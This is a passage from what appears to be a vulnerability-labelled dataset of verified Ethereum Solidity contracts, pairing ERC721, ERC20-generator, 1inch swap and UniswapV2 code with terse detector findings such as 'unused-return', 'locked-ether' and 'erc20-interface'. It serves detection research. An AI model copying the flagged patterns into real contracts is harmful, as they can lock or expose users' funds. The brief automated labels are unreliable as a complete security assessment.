function _mint(address _to, uint256 _tokenId) internal virtual {
require(_to != address(0), "ERC721: mint to the zero address");
require(!_exists(_tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), _to, _tokenId);
balances_[_to] += 1;
owners_[_tokenId] = _to;
emit Transfer(address(0), _to, _tokenId);
}
function _setTokenURI(uint256 _tokenId, string memory _tokenURI) internal virtual {
require(_exists(_tokenId), "ERC721URIStorage: URI set of nonexistent token");
tokenURIs_[_tokenId] = _tokenURI;
}
function _safeTransfer(address _from, address _to, uint256 _tokenId, bytes memory _data) internal virtual {
require(_isApprovedOrOwner(_msgSender(), _tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(_from, _to, _tokenId);
require(_checkOnERC721Received(_from, _to, _tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _checkOnERC721Received(address _from, address _to, uint256 _tokenId, bytes memory _data) internal returns (bool) {
if (_isContract(_to)) {
try IERC721Receiver(_to).onERC721Received(_msgSender(), _from, _tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(_to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _transfer(address _from, address _to, uint256 _tokenId) internal virtual {
require(ownerOf(_tokenId) == _from, "ERC721: transfer of token that is not own");
require(_to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(_from, _to, _tokenId);
// Clear approvals from the previous owner
_approve(address(0), _tokenId);
balances_[_from] -= 1;
balances_[_to] += 1;
owners_[_tokenId] = _to;
emit Transfer(_from, _to, _tokenId);
}
function _approve(address _to, uint256 _tokenId) internal virtual {
tokenApprovals_[_tokenId] = _to;
emit Approval(ownerOf(_tokenId), _to, _tokenId);
}
function _isContract(address _addr) private view returns (bool) {
uint size;
assembly {
size := extcodesize(_addr)
}
return size > 0;
}
function _beforeTokenTransfer(address _from, address _to, uint256 _tokenId) internal virtual {
if (_from == address(0)) {
_addTokenToAllTokensEnumeration(_tokenId);
} else if (_from != _to) {
_removeTokenFromOwnerEnumeration(_from, _tokenId);
}
if (_to == address(0)) {
_removeTokenFromAllTokensEnumeration(_tokenId);
} else if (_to != _from) {
_addTokenToOwnerEnumeration(_to, _tokenId);
}
}
function _addTokenToOwnerEnumeration(address _to, uint256 _tokenId) private {
uint256 length = balanceOf(_to);
ownedTokens_[_to][length] = _tokenId;
ownedTokensIndex_[_tokenId] = length;
}
function _addTokenToAllTokensEnumeration(uint256 _tokenId) private {
allTokensIndex_[_tokenId] = allTokens_.length;
allTokens_.push(_tokenId);
}
function _removeTokenFromOwnerEnumeration(address _from, uint256 _tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = balanceOf(_from) - 1;
uint256 tokenIndex = ownedTokensIndex_[_tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = ownedTokens_[_from][lastTokenIndex];
ownedTokens_[_from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
ownedTokensIndex_[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete ownedTokensIndex_[_tokenId];
delete ownedTokens_[_from][lastTokenIndex];
}
function _removeTokenFromAllTokensEnumeration(uint256 _tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = allTokens_.length - 1;
uint256 tokenIndex = allTokensIndex_[_tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = allTokens_[lastTokenIndex];
allTokens_[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
allTokensIndex_[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete allTokensIndex_[_tokenId];
allTokens_.pop();
}
} | These are the vulnerabilities found
1) unused-return with Medium impact
2) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-05-30
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
} | No vulnerabilities found |
/**
*Submitted for verification at Etherscan.io on 2020-04-30
*/
pragma solidity ^0.6.0;
// interface OneInchInterace {
// }
interface OneSplitInterface {
function swap(
TokenInterface fromToken,
TokenInterface toToken,
uint256 amount,
uint256 minReturn,
uint256[] calldata distribution, // [Uniswap, Kyber, Bancor, Oasis]
uint256 disableFlags // 16 - Compound, 32 - Fulcrum, 64 - Chai, 128 - Aave, 256 - SmartToken, 1024 - bDAI
) external payable;
function getExpectedReturn(
TokenInterface fromToken,
TokenInterface toToken,
uint256 amount,
uint256 parts,
uint256 disableFlags
)
external
view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
}
interface TokenInterface {
function allowance(address, address) external view returns (uint);
function balanceOf(address) external view returns (uint);
function approve(address, uint) external;
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
}
// interface MemoryInterface {
// function getUint(uint _id) external returns (uint _num);
// function setUint(uint _id, uint _val) external;
// }
// interface EventInterface {
// function emitEvent(uint _connectorType, uint _connectorID, bytes32 _eventCode, bytes calldata _eventData) external;
// }
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "math-not-safe");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "math-not-safe");
}
uint constant WAD = 10 ** 18;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
}
contract Helpers is DSMath {
/**
* @dev Return ethereum address
*/
function getAddressETH() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address
}
// /**
// * @dev Return Memory Variable Address
// */
// function getMemoryAddr() internal pure returns (address) {
// return 0x8a5419CfC711B2343c17a6ABf4B2bAFaBb06957F; // InstaMemory Address
// }
// /**
// * @dev Return InstaEvent Address.
// */
// function getEventAddr() internal pure returns (address) {
// return 0x2af7ea6Cb911035f3eb1ED895Cb6692C39ecbA97; // InstaEvent Address
// }
// /**
// * @dev Get Uint value from InstaMemory Contract.
// */
// function getUint(uint getId, uint val) internal returns (uint returnVal) {
// returnVal = getId == 0 ? val : MemoryInterface(getMemoryAddr()).getUint(getId);
// }
// /**
// * @dev Set Uint value in InstaMemory Contract.
// */
// function setUint(uint setId, uint val) internal {
// if (setId != 0) MemoryInterface(getMemoryAddr()).setUint(setId, val);
// }
// /**
// * @dev Connector Details
// */
// function connectorID() public pure returns(uint _type, uint _id) {
// (_type, _id) = (1, 0);
// }
}
contract CompoundHelpers is Helpers {
// /**
// * @dev Return 1 Inch Address
// */
// function getOneInchAddress() internal pure returns (address) {
// return 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
// }
/**
* @dev Return 1 Split Address
*/
function getOneSplitAddress() internal pure returns (address) {
return 0xC586BeF4a0992C495Cf22e1aeEE4E446CECDee0E;
}
}
contract BasicResolver is CompoundHelpers {
function sell(
address buyAddr,
address sellAddr,
uint sellAmt,
uint unitAmt,
uint getId
) external payable {
TokenInterface _buyAddr = TokenInterface(buyAddr);
TokenInterface _sellAddr = TokenInterface(sellAddr);
OneSplitInterface oneSplitContract = OneSplitInterface(getOneSplitAddress());
uint ethAmt = getAddressETH() == sellAddr ? sellAmt : 0;
(uint buyAmt, uint[] memory distribution) =
oneSplitContract.getExpectedReturn(
_sellAddr,
_buyAddr,
sellAmt,
unitAmt,
getId
);
oneSplitContract.swap.value(ethAmt)(
_sellAddr,
_buyAddr,
sellAmt,
buyAmt,
distribution,
getId
);
}
} | These are the vulnerabilities found
1) erc20-interface with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-01-14
*/
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/lib/Babylonian.sol
pragma solidity ^0.6.0;
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
// File: contracts/lib/FixedPoint.sol
pragma solidity ^0.6.0;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x)
internal
pure
returns (uq112x112 memory)
{
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y)
internal
pure
returns (uq144x112 memory)
{
uint256 z;
require(
y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x),
'FixedPoint: MULTIPLICATION_OVERFLOW'
);
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator)
internal
pure
returns (uq112x112 memory)
{
require(denominator > 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self)
internal
pure
returns (uq112x112 memory)
{
require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self)
internal
pure
returns (uq112x112 memory)
{
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
// File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity ^0.6.0;
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/lib/UniswapV2Library.sol
pragma solidity ^0.6.0;
library UniswapV2Library {
using SafeMath for uint256;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB)
internal
pure
returns (address token0, address token1)
{
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB
? (tokenA, tokenB)
: (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(
address factory,
address tokenA,
address tokenB
) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(
uint256(
keccak256(
abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
)
)
)
);
}
// fetches and sorts the reserves for a pair
function getReserves(
address factory,
address tokenA,
address tokenB
) internal view returns (uint256 reserveA, uint256 reserveB) {
(address token0, ) = sortTokens(tokenA, tokenB);
(uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(
pairFor(factory, tokenA, tokenB)
)
.getReserves();
(reserveA, reserveB) = tokenA == token0
? (reserve0, reserve1)
: (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
